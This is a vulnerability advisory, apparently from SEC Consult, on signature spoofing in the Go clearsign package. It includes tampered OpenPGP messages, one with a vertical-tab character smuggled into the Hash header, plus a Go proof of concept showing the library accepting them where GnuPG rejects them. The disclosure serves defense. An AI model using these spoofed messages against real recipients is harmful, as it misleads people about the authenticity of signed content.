Vendor Description
“Package clearsign generates and processes OpenPGP, clear-signed data. See RFC 4880, section 7.
Clearsigned messages are cryptographically signed, but the contents of the message are kept in plaintext so that it can be read without special tools.”
Source: https://godoc.org/golang.org/x/crypto/openpgp/clearsign
Business Recommendation
During a short security test, SEC Consult found a severe security vulnerability in the clearsign package of supplementary Go cryptography libraries. This vulnerability could allow an attacker:
- to lead a victim to believe the signature was generated using a different message digest algorithm than what was actually used;
- to spoof clearsign OpenPGP messages by prepending arbitrary text to cleartext messages without invalidating the signatures.
Vulnerability Overview/ Description
1) Cleartext message spoofing
According to RFC 4880 chapter 7 the cleartext signed message can contain one or more optional “Hash” Armor Headers. The “Hash” Armor Header specifies the message digest algorithm(s) used for the signature. However, the package “clearsign” in supplementary Go cryptography libraries ignores the value of this header which allows an attacker to spoof it.
Thereby an attacker can lead a victim to believe the signature was generated using a different message digest algorithm than what was actually used. Moreover, since the library skips Armor Header parsing in general, an attacker can not only embed arbitrary Armor Headers, but also prepend arbitrary text to cleartext messages without invalidating the signatures.
Proof Of Concept
1) Cleartext message spoofing
The following cleartext message with a valid SHA-1 signature was generated using GnuPG:
(content of no_spoof.asc file):
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Message to be signed -----BEGIN PGP SIGNATURE----- iQEzBAEBAgAdFiEEAXWUn665cAXgInLZXVs62dBO+u4FAlyeCMMACgkQXVs62dBO +u6WeQgAvOTZAkwtXCZ2woIbHk+g3fgOiCOF8YtXgZCyDYZgR/JIf1+iCh7lWAjq 9/JcnifNB9lX6hyxy4qoT8loLAHNeoUzSkKiliRMcQFhtfCPInRCRtAnKDfkiA5N 0C9CesJYXoASBRafUgxeI7Q29tVdPNC8WVjJtA72yafu4b63TXKdCcu+TCHtH5lV l0rqS1JET/+UGycO+gbvegsAoNhmQp8qkFnJTTS6kJgmCs9TJlAmeX1wT8V5f5L+ 7pRe45ZBmlA7oi4lylvIp+WG1KJVgrPzeQOkybF2rFRuMxjlvqfO1/4lLrtXgA/7 v8H3ZsqUV9T/HNx5bFPOQJjbOhBVRg== =Bb6N -----END PGP SIGNATURE-----
Then the message was tampered by changing the value of the “Hash” Armor Header from SHA-1 to SHA-512:
(content of hash_spoof.asc file):
------BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Message to be signed -----BEGIN PGP SIGNATURE----- iQEzBAEBAgAdFiEEAXWUn665cAXgInLZXVs62dBO+u4FAlyeCMMACgkQXVs62dBO +u6WeQgAvOTZAkwtXCZ2woIbHk+g3fgOiCOF8YtXgZCyDYZgR/JIf1+iCh7lWAjq 9/JcnifNB9lX6hyxy4qoT8loLAHNeoUzSkKiliRMcQFhtfCPInRCRtAnKDfkiA5N 0C9CesJYXoASBRafUgxeI7Q29tVdPNC8WVjJtA72yafu4b63TXKdCcu+TCHtH5lV l0rqS1JET/+UGycO+gbvegsAoNhmQp8qkFnJTTS6kJgmCs9TJlAmeX1wT8V5f5L+ 7pRe45ZBmlA7oi4lylvIp+WG1KJVgrPzeQOkybF2rFRuMxjlvqfO1/4lLrtXgA/7 v8H3ZsqUV9T/HNx5bFPOQJjbOhBVRg== =Bb6N -----END PGP SIGNATURE-----
Finally, a string containing Unicode-encoded “LINE TABULATION” was embedded in the Armor Header of the message:
(content of cleartext_spoof.asc file):
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512\u000bThis data is part of the header Message to be signed -----BEGIN PGP SIGNATURE----- iQEzBAEBAgAdFiEEAXWUn665cAXgInLZXVs62dBO+u4FAlyeCMMACgkQXVs62dBO +u6WeQgAvOTZAkwtXCZ2woIbHk+g3fgOiCOF8YtXgZCyDYZgR/JIf1+iCh7lWAjq 9/JcnifNB9lX6hyxy4qoT8loLAHNeoUzSkKiliRMcQFhtfCPInRCRtAnKDfkiA5N 0C9CesJYXoASBRafUgxeI7Q29tVdPNC8WVjJtA72yafu4b63TXKdCcu+TCHtH5lV l0rqS1JET/+UGycO+gbvegsAoNhmQp8qkFnJTTS6kJgmCs9TJlAmeX1wT8V5f5L+ 7pRe45ZBmlA7oi4lylvIp+WG1KJVgrPzeQOkybF2rFRuMxjlvqfO1/4lLrtXgA/7 v8H3ZsqUV9T/HNx5bFPOQJjbOhBVRg== =Bb6N -----END PGP SIGNATURE-----
When inserting the “LINE TABULATION” character, the header text after the attached character looks as if it were part of a message when it is actually part of the Armor Header. The signature verification performed by the library determined all signatures to be valid (see contents of sig_spoof.go file below):
$ go run sig_spoof.go Verifying not tampered... Signature accepted! Verifying spoofed hash... Signature accepted! Verifying spoofed cleartext... Signature accepted!
In comparison, only the unmodified message passed the signature check performed by GnuPG:
$ gpg no_spoof.asc gpg: WARNING: no command supplied. Trying to guess what you mean ... gpg: Signature made Fr 29 Mär 2019 13:00:03 CET gpg: using RSA key 0175949FAEB97005E02272D95D5B3AD9D04EFAEE gpg: Good signature from "crypto >crypto@crypto.com<" [ultimate] $ gpg hash_spoof.asc gpg: WARNING: no command supplied. Trying to guess what you mean ... gpg: Signature made Fr 29 Mär 2019 13:00:03 CET gpg: using RSA key 0175949FAEB97005E02272D95D5B3AD9D04EFAEE gpg: WARNING: signature digest conflict in message gpg: Can't check signature: General error $ gpg cleartext_spoof.asc gpg: WARNING: no command supplied. Trying to guess what you mean ... gpg: invalid clearsig header gpg: Signature made Fr 29 Mär 2019 13:00:03 CET gpg: using RSA key 0175949FAEB97005E02272D95D5B3AD9D04EFAEE gpg: BAD signature from "crypto >crypto@crypto.com<" [ultimate]
(content of cleartext_spoof.asc file):
package main import ("fmt" "golang.org/x/crypto/openpgp/clearsign" "golang.org/x/crypto/openpgp" "bytes" ) func verify(input []byte) { var err error b, _:= clearsign.Decode(input) if b == nil { fmt.Println("No clearsign text found") return } keyring, err := openpgp.ReadArmoredKeyRing(bytes.NewBufferString(signingKey)) if err != nil { fmt.Println(err) return } if _, err := openpgp.CheckDetachedSignature(keyring, bytes.NewBuffer(b.Bytes), b.ArmoredSignature.Body); err != nil { fmt.Println(err) return } fmt.Println("Signature accepted!\n") } func main() { fmt.Println("Verifying not tampered...") verify(no_spoof) fmt.Println("Verifying spoofed hash...") verify(hash_spoof) fmt.Println("Verifying spoofed cleartext...") verify(cleartext_spoof) } var no_spoof = []byte(` -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Message to be signed -----BEGIN PGP SIGNATURE----- iQEzBAEBAgAdFiEEAXWUn665cAXgInLZXVs62dBO+u4FAlyeCMMACgkQXVs62dBO +u6WeQgAvOTZAkwtXCZ2woIbHk+g3fgOiCOF8YtXgZCyDYZgR/JIf1+iCh7lWAjq 9/JcnifNB9lX6hyxy4qoT8loLAHNeoUzSkKiliRMcQFhtfCPInRCRtAnKDfkiA5N 0C9CesJYXoASBRafUgxeI7Q29tVdPNC8WVjJtA72yafu4b63TXKdCcu+TCHtH5lV l0rqS1JET/+UGycO+gbvegsAoNhmQp8qkFnJTTS6kJgmCs9TJlAmeX1wT8V5f5L+ 7pRe45ZBmlA7oi4lylvIp+WG1KJVgrPzeQOkybF2rFRuMxjlvqfO1/4lLrtXgA/7 v8H3ZsqUV9T/HNx5bFPOQJjbOhBVRg== =Bb6N -----END PGP SIGNATURE----- `) var hash_spoof = []byte(` -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Message to be signed -----BEGIN PGP SIGNATURE----- iQEzBAEBAgAdFiEEAXWUn665cAXgInLZXVs62dBO+u4FAlyeCMMACgkQXVs62dBO +u6WeQgAvOTZAkwtXCZ2woIbHk+g3fgOiCOF8YtXgZCyDYZgR/JIf1+iCh7lWAjq 9/JcnifNB9lX6hyxy4qoT8loLAHNeoUzSkKiliRMcQFhtfCPInRCRtAnKDfkiA5N 0C9CesJYXoASBRafUgxeI7Q29tVdPNC8WVjJtA72yafu4b63TXKdCcu+TCHtH5lV l0rqS1JET/+UGycO+gbvegsAoNhmQp8qkFnJTTS6kJgmCs9TJlAmeX1wT8V5f5L+ 7pRe45ZBmlA7oi4lylvIp+WG1KJVgrPzeQOkybF2rFRuMxjlvqfO1/4lLrtXgA/7 v8H3ZsqUV9T/HNx5bFPOQJjbOhBVRg== =Bb6N -----END PGP SIGNATURE----- `) var cleartext_spoof = []byte(` -----BEGIN PGP SIGNED MESSAGE-----` + "\nHash: SHA512\u000bThis data is part of the header\n" + ` Message to be signed -----BEGIN PGP SIGNATURE----- iQEzBAEBAgAdFiEEAXWUn665cAXgInLZXVs62dBO+u4FAlyeCMMACgkQXVs62dBO +u6WeQgAvOTZAkwtXCZ2woIbHk+g3fgOiCOF8YtXgZCyDYZgR/JIf1+iCh7lWAjq 9/JcnifNB9lX6hyxy4qoT8loLAHNeoUzSkKiliRMcQFhtfCPInRCRtAnKDfkiA5N 0C9CesJYXoASBRafUgxeI7Q29tVdPNC8WVjJtA72yafu4b63TXKdCcu+TCHtH5lV l0rqS1JET/+UGycO+gbvegsAoNhmQp8qkFnJTTS6kJgmCs9TJlAmeX1wT8V5f5L+ 7pRe45ZBmlA7oi4lylvIp+WG1KJVgrPzeQOkybF2rFRuMxjlvqfO1/4lLrtXgA/7 v8H3ZsqUV9T/HNx5bFPOQJjbOhBVRg== =Bb6N -----END PGP SIGNATURE----- `) var signingKey = `-----BEGIN PGP PUBLIC KEY BLOCK----- mQENBFyeB6MBCAC+X0+7sQkrpg4zjQGj9NQSwPvDV5JjWxIXpf1n+mtrZewO8RvR EO6OnMK/F6mjVKSE3rI9wnpeBoAnNvXgQHY9ckt3qgUq04LTgWoaj89LXi+QjazB JJPa4cQtoraMtsT2mhIuG88VqPSlgSlvRBGD425kOh+jX7VPIeQIYLJ92G6nVgSV aIh46n1kme/8PLd8BLFTNmCKr1axUZ118KX/d6y5uB1puPQJ6iZ+YYDk5K+xeQv8 RHyfIcVoGbVL+gR6iwukNxxmNdL6k0DfRwi/qESvOYJ483K1uo+08YvtgULSAKO4 BG/rxKynO4wtcMpe0YSPR+qG0rGF2bZ+trFxABEBAAG0GmNyeXB0byA8Y3J5cHRv QGNyeXB0by5jb20+iQFUBBMBCAA+FiEEAXWUn665cAXgInLZXVs62dBO+u4FAlye B6MCGwMFCQPCZwAFCwkIBwIGFQoJCAsCBBYCAwECHgECF4AACgkQXVs62dBO+u6B rwgArfFSrBiPYQkB9WkaZRyJqJMuYiG9tqbcYYp1Wui9gLPf/IS+iO+6WQGzZ7qp vdoG45YGajNsxDcd0M7j0VKtq5VYiwF7AWB6aRsJDsdNFmJVgzJYiPTyDfFnx8jr k1k74TE9ZI2GWpYca0sMT6wCtq8YbmhVB3bty7Zu1L9ahAklhyLpoH4T01NPc2ey 0VhUVQdmKtC0Eqn4tKvWUv4Gx6tGIv4xhZFuDqtoUNbFxvaHZBeURkZJr+jR/mDM iXE3hpamCzLueBlA8cNJfDKCb0EnK2SngPYBwCSx4MVBNpRPuQveMAtx/o39PCPw GN9fXHV6mwWFpdoA4RMP59Mqr7kBDQRcngejAQgA7n3wBQewsZYow0DFvGwj+g3m nCuHqSAEGi1m6zr64dPtDKpR6F4L5nSVoDueki+uQeqz8IwH89+rJIyJZHMHhYD8 MwxdkE+6D9FssY+9kxMZgt50FjXcAFUvlkuDBpJFM8fZRHYyejc4jDw02PC/ssdZ s5kEcaH00LzecaE+3XM3kQWXMNGePZ0yzwgqNSc3+WjSHvtA71JBJsxYWOUrq0W5 aOz9B/Z4Zcq6KNfRUrI1DVoW6P6qQCGwSrm6zyKxwG/LKQBKJRMYiebQ923iCPDN 9rvOaRfWFn5NH7A2M7PEkky6EWZVZpZTqoDZUJUbgmS9pxcEnPqaWkCvGjHXnQAR AQABiQE8BBgBCAAmFiEEAXWUn665cAXgInLZXVs62dBO+u4FAlyeB6MCGwwFCQPC ZwAACgkQXVs62dBO+u665QgAihptwWQFiHPphHxA+LCeRvznBm56/s4nvxyNVKGn pR1PpN4BVjv0/Tc+4qKJRvAi1kVqmNNCjhpcU8eLQ6enIz7Z2n3VYYbbzG5akvlQ m8dYWVJWb8FPbBIp9AEG59mFkIz+wXfYJonGWh8+kRDtWAqBLmgvpDsZLPCGQgu0 +HYqht3EiLq7Yv7lw0H2dAYEWzhA/2m1+E43rNBFDxTqflmstux5L02P2JF00COu oYstzhVvOHJL9nPPdrtbmRHvfm4+QniCAqW9TRzXwOY6P0h2RBf3d9o4Np8Z5JjZ Rtv1+9ofUzvnkaTr+FXFjvw+baNF1pHMTVcc1f0IoT1Ymg== =4/3D -----END PGP PUBLIC KEY BLOCK----- `
Vulnerable / Tested Versions
SEC Consult found the vulnerability in branch master commit a5d413f7728c81fb97d96a2b722368945f651e78 (origin github.com/golang/crypto.git).
This version was the latest version at the time of the discovery.